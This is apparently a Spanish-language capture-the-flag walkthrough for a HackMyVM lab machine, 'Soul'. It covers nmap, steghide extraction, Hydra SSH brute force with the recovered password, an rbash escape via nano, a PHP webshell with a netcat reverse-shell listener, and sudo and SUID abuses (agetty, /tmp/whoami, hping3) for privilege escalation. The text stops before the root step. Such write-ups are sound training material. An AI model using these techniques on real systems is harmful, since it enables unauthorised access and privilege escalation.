Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 04:55 EDT
Nmap scan report for 192.168.5.12
Host is up (0.00061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 8a:e9:c1:c2:a3:44:40:26:6f:22:37:c3:fe:a1:19:f2 (RSA)
| 256 4f:4a:d6:47:1a:87:7e:69:86:7f:5e:11:5c:4f:f1:48 (ECDSA)
|_ 256 46:f4:2c:28:53:ef:4c:2b:70:f8:99:7e:39:64:ec:07 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:E0:E2:4F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
Veremos que hay un puerto 80 en el que aloja una pagina web, si entramos dentro de la misma veremos una imagen en grande, pero si seguimos mirando no veremos nada interesante en general en la pagina, por lo que vamos a realizar un poco de fuzzing.
Pero no veremos nada interesante, ya que solo hay una imagen, vamos a probar a extraer cualquier archivo que pueda esconder dentro de la misma.
steghide
Primero nos descargaremos la imagen:
curl -O http://<IP>/saint.jpg
Ahora vamos a probar a extraer cualquier archivo que pueda contener.
steghide extract -sf saint.jpg
Dejamos la contraseña vacia.
Info:
Enter passphrase:
wrote extracted data to "pass.txt".
Y veremos que ha funcionado, nos ha extraido un archivo llamado pass.txt lo que podemos creer que pueda ser la contraseña de algun usuario del sistema, pero como todavia no lo sabemos, vamos a realizar ppfuerza bruta para intentar sacar algunas credenciales.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-11 03:29:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 624370 login tries (l:624370/p:1), ~9756 tries per task
[DATA] attacking ssh://192.168.5.12:22/
[22][ssh] host: 192.168.5.12 login: daniel password: lionsarebigcats
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Veremos que ha funcionado y hemos obtenido las credenciales de daniel, por lo que nos conectaremos por SSH.
SSH
ssh daniel@<IP>
Metemos como contraseña lionsarebigcats y veremos que estamos dentro.
Escalate user
Si intentamos hacer algun comando como movernos, leer algo o lo que sea veremos que tenemos una rbash, por lo que vamos a intentar escapar de ella.
-rbash: cd: restricted
Si probamos a utilizar el nano veremos que nos funciona, por lo que vamos a obtener una shell con nano.
nano
#Dentro del nano
^R^X
reset; bash 1>&0 2>&0
Y con esto ya obtendremos una shell mucho mejor y sin restricciones.
Si listamos los permisos SUID que tenemos en el sistema veremos lo siguiente:
Vemos una cosa interesante y es la siguiente linea:
134626 64 -rwsrws--- 1 root peter 64744 Jan 10 2019 /usr/sbin/agetty
Vemos que ese no es muy comun y si buscamos informacion de si tuviera alguna vulnerabilidad la encontraremos.
/usr/sbin/agetty -o -p -l /bin/bash -a root tty
Con esto deberiamos de ser root, pero si lo ejecutamos aparecera lo siguiente:
bash: /usr/sbin/agetty: Permission denied
Por lo que vemos no nos deja, ya que vemos que con este usuario poco podemos hacer, tendremos que ver el intentar escalar a otro usuario, pero al no ver opciones posibles vamos a meternos con el usuario www-data a ver si tiene algunos permisos mal configurados o algo por el estilo con el que podamos escalar.
Escalate user www-data
Vamos a crear un webshell.php para podernos generar una reverse shell.
NOTA
Utilizamos PHP ya que vemos que en el servidor esta instalado y se esta interpretando de forma correcta.
php -version
Info:
PHP 7.3.19-1~deb10u1 (cli) (built: Jul 5 2020 06:46:45) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.19, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.3.19-1~deb10u1, Copyright (c) 1999-2018, by Zend Technologies
Ahora nos vamos a dirigir a la siguiente ruta /var/www/html a parte si vamos ahi veremos una cosa interesante de permisos:
drwxrwxrwx 2 root root 4096 Nov 26 2020 html
Vemos que tiene todos los permisos activados, por lo que efectivamente si podremos depositar un archivo en la pagina web.
cd /var/www/html
chmod +x webshell.php
nano webshell.php
#Dentro del nano
#Metemos el contenido del Webshell.php
Lo guardamos y vamos a irnos a dicho archivo desde la web pero antes nos pondremos a la escucha.
nc -lvnp <PORT>
Una vez estando a la escucha nos meteremos en la web de la siguiente forma:
URL = http://<IP>/webshell.php
Pero veremos que nos lo descarga, por lo que no esta interpretando correctamente el PHP con la IP, vamos a ver la configuracion del servidor web a ver si interpreta PHP o no.
cat /etc/nginx/sites-available/default
Info:
............................<RESTO DE CODIGO>......................................
# Virtual Host configuration for example.com
#
# You can move that to a different file under sites-available/ and symlink that
# to sites-enabled/ to enable it.
#
server {
listen 80;
listen [::]:80;
#
server_name lonelysoul.hmv;
#
root /var/www/html;
index index.html;
#
location / {
try_files $uri $uri/ =404;
}
# pass PHP scripts to FastCGI server
#
location ~ \.php$ {
include snippets/fastcgi-php.conf;
#
# # With php-fpm (or other unix sockets):
fastcgi_pass unix:/run/php/php7.3-fpm.sock;
# # With php-cgi (or other tcp sockets):
# fastcgi_pass 127.0.0.1:9000;
}
}
Vemos esa parte de ahi, si interpreta PHP pero solamente entrando por el dominio, no por la IP por lo que haremos lo siguiente:
nano /etc/hosts
#Dentro del nano
<IP> lonelysoul.hmv
Ahora vamos a entrar por el dominio y directamente al archivo PHP que hemos creado, todo esto estando a la escucha.
URL = http://lonelysoul.hmv/webshell.php
Ahora si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.12] 53274
whoami
www-data
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user gabriel
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on soul:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on soul:
(gabriel) NOPASSWD: /tmp/whoami
Veremos que podemos ejecutar el binario whoami como el usuario gabriel pero el binario esta en /tmp por lo que vamos a dicha carpeta.
Si vamos a /tmp veremos que no esta el binario, por lo que podremos crearlo y meter lo que queramos.
nano /tmp/whoami
#Dentro del nano
#!/bin/bash
bash -p
Lo guardamos y ahora lo ejecutaremo de la siguiente forma:
chmod +x /tmp/whoami
sudo -u gabriel /tmp/whoami
Info:
gabriel@soul:/tmp$ whoami
gabriel
Veremos que ha funcionado, por lo que leeremos la flag del usuario.
user.txt
HMViwazhere
Escalate user peter
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for gabriel on soul:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gabriel may run the following commands on soul:
(peter) NOPASSWD: /usr/sbin/hping3
Veremos que podemos ejecutar el binario /usr/sbin/hping3 como el usuario peter, por lo que haremos lo siguiente:
sudo -u peter hping3
/bin/bash
Info:
peter@soul:/home/gabriel$ whoami
peter
Veremos que con eso seremos dicho usuario.
Escalate Privileges
Recordemos que antes vimos los permisos SUID que no podiamos ejecutar, pero ahora somos el usuario peter y si podemos ejecutarlo con el, por lo que ejecutaremos lo siguiente para ser root.